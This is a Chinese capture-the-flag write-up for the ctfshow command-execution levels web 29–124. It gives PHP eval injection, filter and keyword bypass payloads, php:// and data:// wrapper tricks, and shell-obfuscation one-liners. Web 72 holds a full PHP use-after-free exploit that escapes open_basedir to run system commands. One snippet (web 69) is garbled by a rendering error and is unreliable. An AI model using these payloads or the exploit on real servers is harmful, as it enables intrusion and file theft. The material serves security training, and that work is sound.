ctfshow 命令执行 web 29~124

知识点:echo ``   nl  文件包含  伪协议读源码

eval(“c”);漏洞

目录

  • web 29
  • web 30
  • web 31
  • web 32
  • web 33
  • web 34
  • web 35
  • web 36
  • web 37
  • web 38
  • web 39
  • web 40(详解)
    • 00x1
    • 00x2
    • 00x3
  • web 41
  • web 42
  • web43
  • web 44
  • web 45
  • web46
  • web 47
  • web 48
  • web 49
  • web 50
  • web 51
  • web 52
  • web 53
  • web 54
  • web 55
    • 00x1
    • 00x2
    • 00x3
  • web56
  • web 57
  • web 58
    • 01
    • 02
    • 03
  • web 59
    • 01
    • 02
  • web 60
  • web 61
  • web 62~65
  • web 66
  • web 67
  • web 68
  • web 69
  • web 70
  • web 71
  • web 72
  • web 73
  • web 74
    • 00x1
  • 00x2
  • web 75
  • web 76
  • web 77
  • web 118
  • web 119
    • 00x1
    • 00x2
    • 00x3
  • web 120~121
  • web 122
  • web 124
  • 参考

web 29

eval($c);

echo `nl fl''ag.php`
//echo执行系统命令,nl显示行号和本行的内容,''分隔符
cat fl$1ag.php

web 30

eval($c);

echo `nl fl$1ag.p''hp`;
echo `nl fl''ag.p''hp`;

web 31

eval($c);

show_source(next(array_reverse(scandir(pos(localeconv())))));
//show_source() 函数对文件进行语法高亮显示,本函数是 highlight_file() 的别名。
//next()输出数组中的当前元素和下一个元素的值:
//array_reverse() 函数以相反的元素顺序`返回`数组。(主要是能返回值)
//scandir() 函数返回指定目录中的文件和目录的数组。
//pos()输出数组中的当前元素的值:
//localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

c=include($_POST["a"]);
a=php://filter/convert.base64-encode/resource=flag.php
//因为它只对变量c过滤。

c=eval($_POST[a]);
a=echo `tac flag.php`

c=eval($_GET[1]);&1=system('tac flag.php');

web 32

c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php
//因为此命令用不到;号
//用post传参要用到;号

web 33

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
//若过滤了',"号则可以用数字传参

web 34

php://filter/convert.base64-encode/resource=flag.php

web 35

php://filter/convert.base64-encode/resource=flag.php

web 36

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//字符参数可以不加',"

web 37

c=data://text/plain,
//非base64

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

web 38

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 39

c=data://text/plain,
//fl* 会匹配适合文件。

web 40(详解)

00x1

?c=eval(array_pop(next(get_defined_vars())));
cmd=system("cat flag.php");
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

原理:我们从最里层往外剖析,get_defiined_vars();返回所有数组元素,然后通过next函数取得我们上传的post数组也就是[_POST] => Array ( [cmd] => system(“cat flag.php”);但是此时取得的还不是我们想要的命令语句,我们可以通过array_pop()来取得post的元素,也就是system(“cat flag.php”);,最后通过eval来运行它。

注:(这里的array_pop虽然是删除并返回数组最后一个元素,但在这之前我们已经通过next函数提取出了post数组,也就是说此时数组就一个元素,就是post元素。current是返回当前元素,而当前元素是get所以不用current)

print_r(get_defined_vars());返回一个多维数组:

ctfshow 命令执行 web 29~124_第1张图片
print_r(next(get_defined_vars()));
cmd=system(“cat flag.php”);
ctfshow 命令执行 web 29~124_第2张图片
c=eval(array_pop(next(get_defined_vars())));
cmd=system(“cat flag.php”);看源码拿flag
ctfshow 命令执行 web 29~124_第3张图片

00x2

show_source(next(array_reverse(scandir(pos(localeconv())))));

原理:因为localeconv()的第个元素是“.”,然后pos()能够提取出当前元素的值,也就是“.”,而scandir()能过返回指定目录中的文件和目录的数组,然而上一层pos()已经提取出".“,这样就变成scandir(”.")返回当前目录下的目录数组,array_reverse()以相反的元素顺序返回数组,next()提取第二个元素,最后用read_file()、highlight_file()和show_source()读出源码。

在这里插入图片描述

00x3

?c=session_start();system(session_id());

提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交(在Application中改),然后就会显示当前目录下的文件,也可以用bp来抓包

原理:session默认不使用所以加了session_start()让php开始使用session,利用session_id()让php读取我们设置的cookie,在此之前要在Application中改PHPSESSID值为ls找到flag文件名,然后运行以下代码:

?c=show_source(session_id((session_start())));
在Application中改PHPSESSID值为flag文件名

web 41

概念:数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于 40 。然后再利用 PHP 允许动态函数执行的特点,拼接出一个函数名,,然后动态执行该代码即可。

例如:


    echo "A"^"?";//异或,输出~
?>

原理:代码中对字符 A 和字符 ? 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。

web 42

c=cat flag.php%0a

c=tac flag.php ||

c=cat flag.php ||
//A || B 	A执行成功就不执行B,同理,A执行不成功就执行B
//A  |  B 	将A的执行结果传入B
//A && B 	A成功执行后执行B,如果A不成功,那么B就不会被执行

web43

c=tac f* ||

c=nl fl*%0a

web 44

c=tac%20fl*||

web 45

c=tac%09fl*||
//%09为tab

echo$IFS`tac$IFS*`%0A
echo$IFS`nl$IFS*`%0A
//IFS表示 Internal Field Separator (内部字段分隔符)

web46

c=tac>fla%27%27g.php|| 
//<和>可以代替空格,%27为'

web 47

c=tac%09fla''g.php|| 

web 48

c=nl%09fl''ag.php||

web 49

c=tac%09fl%27%27ag.php||

web 50

c=tac

web 51

c=nl

web 52

c=nl${IFS}/fl\ag||

web 53

ca''t${IFS}fl''ag.php
ca''t${IFS}fl\ag.php

web 54

c=/bin/ca?${IFS}????.???
//根目录下的bin文件夹下的cat,又因为强正则,所以????.???代替flag.php

web 55

00x1

base64的使用
可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

00x2

bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

00x3

. /???/????????
. 绕过
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,[@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )
相当于. /tem/.....

ctfshow 命令执行 web 29~124_第4张图片
然后可以通过 ls …/…/一层一层往上查看找flag文件的地址
ctfshow 命令执行 web 29~124_第5张图片

web56

.和通配符的使用,以及ls查目录路径
ctfshow 命令执行 web 29~124_第6张图片

web 57

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1

作者:一碗海鲜汤
链接:https://www.jianshu.com/p/4352534aacbd

exp:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

web 58

01

ctfshow 命令执行 web 29~124_第7张图片

02

show_source(next(array_reverse(scandir(pos(localeconv())))));

03

echo file_get_contents(“flag.php”);

web 59

01

c=show_source(“flag.php”);

02

同 web 58的 01

web 60

c=show_source(“flag.php”);

web 61

c=show_source(“flag.php”);

web 62~65

同上
或者
c=include(‘flag.php’);echo $flag;
c=include_once(‘flag.php’);var_dump(get_defined_vars());
c=include_once(‘flag.php’);highlight_file(“flag.php”);

web 66

c=print_r(scandir(‘/’));查看文件路径

c=highlight_file(‘/flag.txt’);

web 67

同上
但要用var_dump

web 68

c=var_dump(scandir(‘/’));
查目录
c=include(‘/flag.txt’);
包含因为不是php,会自动解析为html格式

web 69

d = o p e n d i r ( " / " ) ; w h i l e ( f a l s e ! = = ( d=opendir("/");while(false!==( d=opendir("/");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}
//opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
//readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
//scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
//若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false

原理:由opendir返回当前的目录流,然后readdir返回opendir中的目录条目,若存在则返回文件名,然后循环,依次输出直到最后一个

c=include(‘/flag.txt’);

web 70

同上

web 71

ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false。可以看到如果输出的是数字或者字母,就都变成?。

c=var_export(scandir('/'));exit();

想办法在include()之后就结束代码:
c=include('/flag.txt');exit();

web 72

$s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
        //读取的文件会变为???

读取的文件会变为???
用glob读,其他和69原理差不多

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>
///遍历目录下的所有文件,并用glob匹配

或
c=$a="glob:///*.txt";
if($b = opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";
    }
    closedir($b);
}
exit();

但是此题有open_basedir,限制了我们可访问的目录,所以我们要用uaf绕过,记得要url编码一下

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web 73

var_export(scandir(“/”));
发现flagc.txt,然后包含它
include(‘/flagc.txt’);exit();

web 74

有dir的都行不通,可以用glob,两种写法。

00x1

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

包含
c=include("/flagx.txt");exit(0);?>

或者直接

c=?><?php $a=new DirectoryIterator('/');
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

00x2

c=?>

web 75

查找文件还是glob,但查询不是,用数据库
记得传的时候把注释去掉

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    //连接数据库(地址,数据库名字,用户名,密码)
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
    //引用dbh对象的query执行sql语句,读取根目录下的flag36.txt并把内容作为字符串返回
        echo ($row[0]) . "|";
    }
    $dbh = null;//赋空
} catch (PDOException $e) {//报错后处理的地方
    echo $e->getMessage();//获取异常消息内容
    exit(0);
}
exit(0);
//PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
//PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
//如果有任何连接错误,将抛出一个 PDOException 异常对象。
//query — 执行 SQL 语句,返回PDOStatement对象,可以理解为结果集
//->用来引用对象的成员(属性与方法)
//LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

web 76

同上

web 77

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

利用php7.4的FFI
(PHP 7 >= 7.4.0, PHP 8)

FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,
是指在一种语言里调用另一种语言代码的技术。
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

然后访问1.txt

web 118

学到了新方法

本地试一下:
ctfshow 命令执行 web 29~124_第8张图片

${PATH:5:1}			截取PATH变量里从头开始第五个位置,取1个字符
${PATH:~7:1}		截取PATH变量里从尾巴开始第7个位置,取1个字符
${PATH:~A}			截取PATH变量里最后一个字符(写法2:${PATH:~0}	写法3:${PATH:~a})

payload:

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

web 119

00x1

${PWD:A:${##}}   -- /
${PWD:~${PHP_VERSION:~A}:${##}}   -- t

/bin/cat flag.php

payload:
${PWD:A:${##}}???${PWD:A:${##}}??${PWD:~${PHP_VERSION:~A}:${##}} ????.???

00x2

${PWD:A:${##}}   --/

${#RANDOM}   -- 4

/bin/base64 flag.php		//RANDOM为随机数可能是四位数也可能是五位数,所以要多试几次
${PWD:A:${##}}???${PWD:A:${##}}?????${#RANDOM} ????.???

00x3

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web 120~121

上一题的00x2符合。

${PWD:A:${##}}   --/

${#RANDOM}   -- 4

/bin/base64 flag.php		//RANDOM为随机数可能是四位数也可能是五位数,所以要多试几次
${PWD:A:${##}}???${PWD:A:${##}}?????${#RANDOM} ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev

web 122

参考:
https://blog.csdn.net/m0_48780534/article/details/125095631
https://blog.51cto.com/allenh/1695810

ctfshow 命令执行 web 29~124_第9张图片

/bin/base64 flag.php
code=

web 124

题解:https://blog.csdn.net/shinygod/article/details/123636571

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{exp})&cos=system&exp=cat flag.php

参考

https://www.bilibili.com/video/BV1jy4y1a7Ew/

你可能感兴趣的:(ctfshow_web入门,命令执行)